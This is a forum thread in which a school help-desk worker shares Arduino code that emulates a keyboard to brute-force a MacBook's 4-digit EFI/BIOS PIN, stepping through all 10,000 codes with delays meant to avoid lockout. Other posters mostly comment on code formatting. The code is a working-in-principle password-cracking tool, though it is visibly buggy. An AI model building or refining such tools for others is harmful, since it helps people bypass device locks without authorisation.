Code help

First off, I'm obviously a noob. Second off, I got this code from the comments section here http://orvtech.com/atacar-efi-pin-macbook-pro-en.html

The objective of the code is to brute force 4 digit bios passwords until it succeeds. You wouldn't believe how many times kids set up a bios password and immediately forget what it was in a school setting.

Here is the code

//EFI Pin bruteforce
const int ledPin = 13;
int counter = 0;
//waits for iCould
int loops = 0;
int value0 = 0;
int value1 = 0;
int value2 = 0;
int value4 = 0;
int fakecounter = counter;
char pin[]="xxxx";
uint8_t buf[8] = {
0 }; /* Keyboard report buffer */
void setup() {
pinMode(ledPin, OUTPUT);
Serial.begin(9600);
randomSeed(analogRead(0));
delay(200);
}
void loop(){
if (counter <= 9999){
delay(8000);
digitalWrite(ledPin, LOW);
delay(5500);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
//First Digit	
int value0 = pin[0] - '0'; 
buf[3] = value0 + 29;
if (buf[3] = 30){
buf[3] = value0 + 29;
Serial.write(buf, 8);
delay(450);
releaseKey();
delay(420);
}
//Second Digit
int value1 = pin[1] - '0'; 
buf[3] = value1 + 29;
if (buf[3] = 30){
buf[3] = value1 + 29;
Serial.write(buf, 8);
delay(398);
releaseKey();
delay(510);
}
//Third Digit
int value2 = pin[2] - '0'; 
buf[3] = value2 + 29;
if (buf[3] = 30){
buf[3] = value2 + 29;
Serial.write(buf, 8);
delay(421);
releaseKey();
delay(423);
}
//Forth Digit
int value3 = pin[3] - '0'; 
buf[3] = value3 + 29;
if (buf[3] = 30){
buf[3] = value3 + 29;
Serial.write(buf, 8);
delay(430);
releaseKey();
delay(525);
}
//Enter Key
buf[3] = 40;
Serial.write(buf, 8);
delay(305);
releaseKey();
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}
void releaseKey()
{
buf[0] = 0;
buf[2] = 0;
buf[3] = 0;
Serial.write(buf, 8);	// Release key
}

Where do I start? Any tips are appreciated! Thanks!

Read the stickies how to post your question.

That's not very helpful. I did. What did I miss in the stickies?

You missed code tags.

Are you wanting us to help you write a program that breaks others passwords ?

Thanks. I'll fix it when I can get to my desktop. I'm wanting help with a program that cracks bios passwords, yes. I work in a help desk for a k-12 school and it is common for a kid to set a bios password and not remember it. When that happens, we basically trash the mother board and use the other available parts for the bone pile. There are devices like this out there that can be readily bought for a couple hundred bucks. I'm just trying to do it with no budget.

I've figured out that I had another set of code (bar graph) open that needs to be closed. I'll update when I get to my desktop to try it again.

thirtyfiftyone:
That's not very helpful. I did. What did I miss in the stickies?

Your posted code is unReadable.

on the bottom right of your message you will see a quick edit button.

Choose more -> modify

insert: [ code ] (but with no spaces!) before your code and
insert: [ / code ] (but with no spaces!) after your code. It will magically become readable after you click save.

Chuck.

This may be a three step, so bear that in mind.

  1. Have you been able to use the arduino to get into the bios, if it knows the password?
  2. How do you have the hardware hooked?
    . . . and I don't remember #3...
int value0 = pin[0] - &#0390' buf[3] = value0 + 29;

Please explain, in English, what this code is trying to do. It might just be me, but that looks like a stray # there...

PaulS:

int value0 = pin[0] - &#0390' buf[3] = value0 + 29;

Please explain, in English, what this code is trying to do. It might just be me, but that looks like a stray # there...

The code is trying to generate a four digit number, enter it into the prompt on the computer, and if it wasn't successful, generate another four digit number and enter it again. It can't happen too fast as if it does the computer will lock it out. It would likely take a couple to a few days to go through all 10k combinations.

chucktodd:
Your posted code is unReadable.

on the bottom right of your message you will see a quick edit button.

Choose more -> modify

insert: [ code ] (but with no spaces!) before your code and
insert: [ / code ] (but with no spaces!) after your code. It will magically become readable after you click save.

Chuck.

Thanks Chuck. I've learned.

Your code is so messed up, even Auto Format (Ctrl-T) can't figure it out. If you don't know what properly formatted code looks like, just go through some of the other posts, study the code, and then reformat yours so that at least Auto Format works. Then we might be able to help you.

econjack:
Your code is so messed up, even Auto Format (Ctrl-T) can't figure it out. If you don't know what properly formatted code looks like, just go through some of the other posts, study the code, and then reformat yours so that at least Auto Format works. Then we might be able to help you.

How about now?

I think I've got the code running with no errors now. Now my only issue is getting it to enter the 4 digit passwords into a computer, which I guess doesn't belong here.

"Now my only issue is getting it to enter the 4 digit passwords into a computer, which I guess doesn't belong here."

we are somewhat versatile.

How do you think you can enter the passwords in, and get a response back?

It appears that you have started more than one thread about this topic. NOT A GOOD IDEA. You should try to merge the threads, or delete one, or indicate in one, that the active thread is elsewhere.

My initial understanding was wrong. It will not get a response back. It will continue to enter codes no matter what, so when it succeeds if I'm not there watching it, I'll have a little bit of guess work as to which one succeeded, which I'm fine with.